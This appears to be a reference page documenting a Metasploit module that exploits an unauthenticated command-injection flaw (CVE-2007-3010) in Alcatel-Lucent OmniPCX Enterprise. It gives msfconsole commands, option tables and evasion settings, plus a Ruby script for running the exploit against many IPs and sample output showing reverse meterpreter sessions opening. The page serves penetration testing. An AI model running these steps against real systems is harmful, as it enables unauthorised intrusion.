Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/http/alcatel_omnipcx_mastercgi_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution
Module: exploit/linux/http/alcatel_omnipcx_mastercgi_exec
Source code: modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
Disclosure date: 2007-09-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 443
List of CVEs: CVE-2007-3010

This module abuses a metacharacter injection vulnerability in the HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise Communication Server 7.1 and earlier. The Unified Maintenance Tool contains a 'masterCGI' binary which allows an unauthenticated attacker to execute arbitrary commands by specifying shell metacharaters as the 'user' within the 'ping' action to obtain 'httpd' user access. This module only supports command line payloads, as the httpd process kills the reverse/bind shell spawn after the HTTP 200 OK response.

Module Ranking and Traits

Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Basic Usage

Using alcatel_omnipcx_mastercgi_exec against a single host

Normally, you can use exploit/linux/http/alcatel_omnipcx_mastercgi_exec this way:

msf > use exploit/linux/http/alcatel_omnipcx_mastercgi_exec
msf exploit(alcatel_omnipcx_mastercgi_exec) > show targets
    ... a list of targets ...
msf exploit(alcatel_omnipcx_mastercgi_exec) > set TARGET target-id
msf exploit(alcatel_omnipcx_mastercgi_exec) > show options
    ... show and set options ...
msf exploit(alcatel_omnipcx_mastercgi_exec) > exploit

Using alcatel_omnipcx_mastercgi_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your alcatel_omnipcx_mastercgi_exec will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/http/alcatel_omnipcx_mastercgi_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the linux/http/alcatel_omnipcx_mastercgi_exec exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/alcatel_omnipcx_mastercgi_exec

[*] No payload configured, defaulting to cmd/unix/generic
msf6 exploit(linux/http/alcatel_omnipcx_mastercgi_exec) > show info

       Name: Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution
     Module: exploit/linux/http/alcatel_omnipcx_mastercgi_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2007-09-09

Provided by:
  aushack <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   443              yes       The target port (TCP)
  SSL     true             yes       Use SSL

Payload information:
  Space: 1024

Description:
  This module abuses a metacharacter injection vulnerability in the 
  HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise 
  Communication Server 7.1 and earlier. The Unified Maintenance Tool 
  contains a 'masterCGI' binary which allows an unauthenticated 
  attacker to execute arbitrary commands by specifying shell 
  metacharaters as the 'user' within the 'ping' action to obtain 
  'httpd' user access. This module only supports command line 
  payloads, as the httpd process kills the reverse/bind shell spawn 
  after the HTTP 200 OK response.

References:
  OSVDB (40521)
  http://www.securityfocus.com/bid/25694
  https://nvd.nist.gov/vuln/detail/CVE-2007-3010
  http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm

Module Options

This is a complete list of options available in the linux/http/alcatel_omnipcx_mastercgi_exec exploit:

msf6 exploit(linux/http/alcatel_omnipcx_mastercgi_exec) > show options

Module options (exploit/linux/http/alcatel_omnipcx_mastercgi_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   443              yes       The target port (TCP)
   SSL     true             yes       Use SSL

Payload options (cmd/unix/generic):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD                    yes       The command string to execute

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Advanced Options

Here is a complete list of advanced options supported by the linux/http/alcatel_omnipcx_mastercgi_exec exploit:

msf6 exploit(linux/http/alcatel_omnipcx_mastercgi_exec) > show advanced

Module advanced options (exploit/linux/http/alcatel_omnipcx_mastercgi_exec):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/generic):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/http/alcatel_omnipcx_mastercgi_exec module can exploit:

msf6 exploit(linux/http/alcatel_omnipcx_mastercgi_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Target

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/alcatel_omnipcx_mastercgi_exec exploit:

msf6 exploit(linux/http/alcatel_omnipcx_mastercgi_exec) > show payloads

Compatible Payloads
===================

   #  Name                      Disclosure Date  Rank    Check  Description
   -  ----                      ---------------  ----    -----  -----------
   0  payload/cmd/unix/generic                   normal  No     Unix Command, Generic Command Execution

Evasion Options

Here is the full list of possible evasion options supported by the linux/http/alcatel_omnipcx_mastercgi_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/alcatel_omnipcx_mastercgi_exec) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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References

Authors

  • aushack

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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